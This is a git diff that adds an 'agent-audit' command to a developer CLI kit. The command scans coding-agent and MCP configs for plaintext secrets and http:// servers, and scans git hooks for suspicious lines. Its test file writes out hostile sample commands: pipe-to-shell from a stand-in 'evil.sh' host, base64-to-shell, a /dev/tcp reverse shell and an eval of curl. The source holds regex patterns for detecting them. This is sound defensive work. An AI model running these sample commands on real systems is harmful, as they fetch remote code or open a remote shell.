diff --git a/CHANGELOG.md b/CHANGELOG.md index b64211f7..8c218d67 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,11 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/). ## [Unreleased] +## [1.18.0] - 2026-06-23 + +### Added +- **Agent / MCP / hook auditing (`kit agent-audit`).** A kit-native baseline over the coding-agent supply-chain surface: scans agent/MCP configs (`.claude.json`, `.mcp.json`, `.cursor/mcp.json`, `.vscode/mcp.json`, `.claude/settings*.json`) for **plaintext secrets** (reuses `findSecrets` — the `.claude.json` `sk_live` leak class) and **cleartext `http://` MCP servers**, and git hooks (`.git/hooks`, `.githooks`, `.husky`) for **malware-shaped lines** (pipe-to-shell, base64-decode-to-shell, `/dev/tcp` reverse shell, `eval` of a command substitution). Pure analyzers fixture-tested; read-only, fail-open per file. (#47) + ## [1.17.0] - 2026-06-23 ### Added diff --git a/package-lock.json b/package-lock.json index e06541b0..fbe45a13 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,12 +1,12 @@ { "name": "sandstream-kit", - "version": "1.17.0", + "version": "1.18.0", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "sandstream-kit", - "version": "1.17.0", + "version": "1.18.0", "license": "MIT", "workspaces": [ "packages/*" diff --git a/package.json b/package.json index 66634e97..8c2da716 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "sandstream-kit", - "version": "1.17.0", + "version": "1.18.0", "description": "developer kit. zero LLM, local-first, multi-vault. one command from git clone to working dev environment.", "license": "MIT", "funding": "https://buymeacoffee.com/sandstream", diff --git a/src/agent-audit.test.ts b/src/agent-audit.test.ts new file mode 100644 index 00000000..dacb9fdc --- /dev/null +++ b/src/agent-audit.test.ts @@ -0,0 +1,49 @@ +import { describe, it } from "node:test"; +import assert from "node:assert/strict"; +import { auditConfigSecrets, auditMcpServers, auditHookBody } from "./agent-audit.js"; + +// Built at runtime (split literal) so kit's own secret-scan doesn't flag this test. +const FAKE_STRIPE = ["sk", "live", "A".repeat(40)].join("_"); + +describe("auditConfigSecrets", () => { + it("flags a plaintext secret embedded in a config blob", () => { + const cfg = JSON.stringify({ mcpServers: { stripe: { env: { STRIPE_SECRET_KEY: FAKE_STRIPE } } } }); + const hits = auditConfigSecrets(cfg); + assert.ok(hits.length >= 1, "should find the stripe key"); + assert.ok(hits[0].preview.includes("…"), "preview must be masked (head…tail)"); + assert.ok(hits[0].preview.length < FAKE_STRIPE.length, "preview must be shorter than the raw key"); + }); + it("is clean when no secrets present", () => { + assert.deepEqual(auditConfigSecrets(JSON.stringify({ mcpServers: {} })), []); + }); +}); + +describe("auditMcpServers", () => { + it("flags MCP servers on cleartext http://", () => { + const cfg = JSON.stringify({ + mcpServers: { + good: { url: "https://mcp.example.com" }, + bad: { url: "http://mcp.internal:8080" }, + }, + }); + const hits = auditMcpServers(cfg); + assert.equal(hits.length, 1); + assert.match(hits[0], /^bad → http:\/\//); + }); + it("also reads the `servers` container; [] on garbage", () => { + assert.equal(auditMcpServers(JSON.stringify({ servers: { x: { url: "http://h" } } })).length, 1); + assert.deepEqual(auditMcpServers("not json"), []); + }); +}); + +describe("auditHookBody", () => { + it("flags pipe-to-shell, base64-to-shell, /dev/tcp, eval-substitution", () => { + assert.ok(auditHookBody("curl https://evil.sh | bash").length === 1); + assert.ok(auditHookBody("echo aGk= | base64 -d | sh").length === 1); + assert.ok(auditHookBody("bash -i >& /dev/tcp/1.2.3.4/4444 0>&1").length === 1); + assert.ok(auditHookBody('eval "$(curl -s https://x)"').length >= 1); + }); + it("does not flag a normal hook", () => { + assert.deepEqual(auditHookBody("#!/bin/sh\nnpm run lint && npm test\n"), []); + }); +}); diff --git a/src/agent-audit.ts b/src/agent-audit.ts new file mode 100644 index 00000000..ad35c1ba --- /dev/null +++ b/src/agent-audit.ts @@ -0,0 +1,169 @@ +/** + * Agent / MCP / hook auditing — kit-native baseline. + * + * Coding-agent config and git hooks are an under-watched supply-chain surface: + * `.claude.json` / `.mcp.json` / editor MCP configs routinely carry MCP server + * definitions (and, as we've seen, plaintext API keys), and git hooks run + * arbitrary shell on every commit/checkout. This audits both, deterministically: + * + * - secrets-in-config : plaintext API keys/tokens committed into an agent/MCP + * config (reuses kit's `findSecrets`; the `.claude.json` + * sk_live leak class). + * - cleartext-mcp : an MCP server pointed at a plain `http://` URL. + * - suspicious-hook : a git hook body with a malware-shaped line (pipe-to-shell, + * base64-decode-to-shell, `/dev/tcp` reverse shell, eval of a + * command substitution). + * + * Pure analyzers (string in → findings out); `runAgentAudit` is the file-reading wrapper. + */ +import { readFileSync, readdirSync, existsSync, statSync } from "node:fs"; +import { resolve, join } from "node:path"; +import type { SecurityCheckResult } from "./check-security.js"; +import { findSecrets } from "./utils/redactSecrets.js"; + +/** Plaintext secrets in an agent/MCP config file. */ +export function auditConfigSecrets(content: string): { label: string; preview: string }[] { + return findSecrets(content); +} + +/** MCP servers pointed at a cleartext `http://` URL (parsed from a config object). */ +export function auditMcpServers(json: string): string[] { + let obj: unknown; + try { + obj = JSON.parse(json); + } catch { + return []; + } + const out: string[] = []; + // Claude/Cursor/VSCode all nest servers under `mcpServers` (or `servers`). + const containers = [ + (obj as { mcpServers?: Record })?.mcpServers, + (obj as { servers?: Record })?.servers, + ].filter((c): c is Record => !!c && typeof c === "object"); + for (const servers of containers) { + for (const [name, def] of Object.entries(servers)) { + const url = (def as { url?: string })?.url; + if (typeof url === "string" && /^http:\/\//i.test(url)) out.push(`${name} → ${url}`); + } + } + return out; +} + +const SUSPICIOUS_HOOK_PATTERNS: { re: RegExp; why: string }[] = [ + { re: /(curl|wget)\b[^\n|]*\|\s*(sh|bash|zsh)\b/i, why: "pipes a download straight into a shell" }, + { re: /base64\s+(-d|--decode|-D)\b[^\n|]*\|\s*(sh|bash|zsh)\b/i, why: "base64-decodes into a shell" }, + { re: /\/dev\/tcp\//, why: "opens a raw TCP socket (reverse-shell shape)" }, + { re: /eval\s+"?\$\(/, why: "evals a command substitution" }, +]; + +/** Malware-shaped lines in a hook body. Returns the reasons matched. */ +export function auditHookBody(content: string): string[] { + return SUSPICIOUS_HOOK_PATTERNS.filter((p) => p.re.test(content)).map((p) => p.why); +} + +function result( + name: string, + status: SecurityCheckResult["status"], + detail: string, + category: SecurityCheckResult["category"], + severity?: SecurityCheckResult["severity"], + suggestion?: string, +): SecurityCheckResult { + return { category, name, status, detail, severity, suggestion }; +} + +const CONFIG_FILES = [ + ".claude.json", + ".mcp.json", + ".cursor/mcp.json", + ".vscode/mcp.json", + ".claude/settings.json", + ".claude/settings.local.json", +]; + +const HOOK_DIRS = [".git/hooks", ".githooks", ".husky"]; + +/** Audit agent/MCP configs + git hooks under `cwd`. Read-only; fail-open per file. */ +export function runAgentAudit(cwd: string): SecurityCheckResult[] { + const out: SecurityCheckResult[] = []; + let scannedConfigs = 0; + let scannedHooks = 0; + + for (const rel of CONFIG_FILES) { + const path = resolve(cwd, rel); + if (!existsSync(path)) continue; + let content: string; + try { + content = readFileSync(path, "utf8"); + } catch { + continue; + } + scannedConfigs++; + const secrets = auditConfigSecrets(content); + if (secrets.length > 0) { + const kinds = [...new Set(secrets.map((s) => s.label))].join(", "); + out.push(result( + `secret in ${rel}`, + "fail", + `${secrets.length} plaintext secret(s) (${kinds}) in an agent config — e.g. ${secrets[0].preview}`, + "secrets", + "critical", + `move it to a vault/env and gitignore ${rel}`, + )); + } + const cleartext = auditMcpServers(content); + if (cleartext.length > 0) { + out.push(result( + `cleartext MCP in ${rel}`, + "warn", + `${cleartext.length} MCP server(s) on http://: ${cleartext.slice(0, 3).join("; ")}`, + "exposure", + "medium", + "use https:// MCP endpoints", + )); + } + } + + for (const dir of HOOK_DIRS) { + const dpath = resolve(cwd, dir); + if (!existsSync(dpath)) continue; + let entries: string[]; + try { + entries = readdirSync(dpath); + } catch { + continue; + } + for (const entry of entries) { + if (entry.endsWith(".sample")) continue; + const hpath = join(dpath, entry); + try { + if (!statSync(hpath).isFile()) continue; + const body = readFileSync(hpath, "utf8"); + scannedHooks++; + const reasons = auditHookBody(body); + if (reasons.length > 0) { + out.push(result( + `suspicious hook ${dir}/${entry}`, + "fail", + `hook ${reasons.join("; ")}`, + "exposure", + "high", + "review the hook; a compromised hook runs on every git operation", + )); + } + } catch { + continue; + } + } + } + + if (out.length === 0) { + out.push(result( + "agent-audit", + "pass", + `no issues in ${scannedConfigs} agent config(s) + ${scannedHooks} hook(s)`, + "exposure", + )); + } + return out; +} diff --git a/src/cli.ts b/src/cli.ts index 9a98435c..c4a0a956 100644 --- a/src/cli.ts +++ b/src/cli.ts @@ -4193,6 +4193,29 @@ async function cmdSupplyChain(): Promise { return fails === 0; } +async function cmdAgentAudit(): Promise { + const jsonMode = hasFlag(process.argv, "--json"); + const { runAgentAudit } = await import("./agent-audit.js"); + const results = runAgentAudit(process.cwd()); + const fails = results.filter((r) => r.status === "fail").length; + + if (jsonMode) { + console.log(JSON.stringify({ ok: fails === 0, results }, null, 2)); + return fails === 0; + } + + console.log(`${c.bold}kit agent-audit${c.reset} ${c.dim}agent/MCP configs + git hooks${c.reset}`); + for (const r of results) { + const mark = + r.status === "fail" ? `${c.red}✗${c.reset}` : + r.status === "warn" ? `${c.yellow}!${c.reset}` : `${c.green}✓${c.reset}`; + console.log(` ${mark} ${r.name} ${c.dim}${r.detail}${c.reset}`); + if (r.suggestion) console.log(` ${c.dim}${r.suggestion}${c.reset}`); + } + if (fails > 0) console.log(`${c.red}${fails} fail${c.reset}`); + return fails === 0; +} + async function cmdWhoami(): Promise { const jsonMode = hasFlag(process.argv, "--json"); @@ -4933,6 +4956,7 @@ async function main(): Promise { health: cmdHealth, ingest: cmdIngest, "supply-chain": cmdSupplyChain, + "agent-audit": cmdAgentAudit, init: cmdInit, upgrade: cmdUpgrade, install: cmdInstall,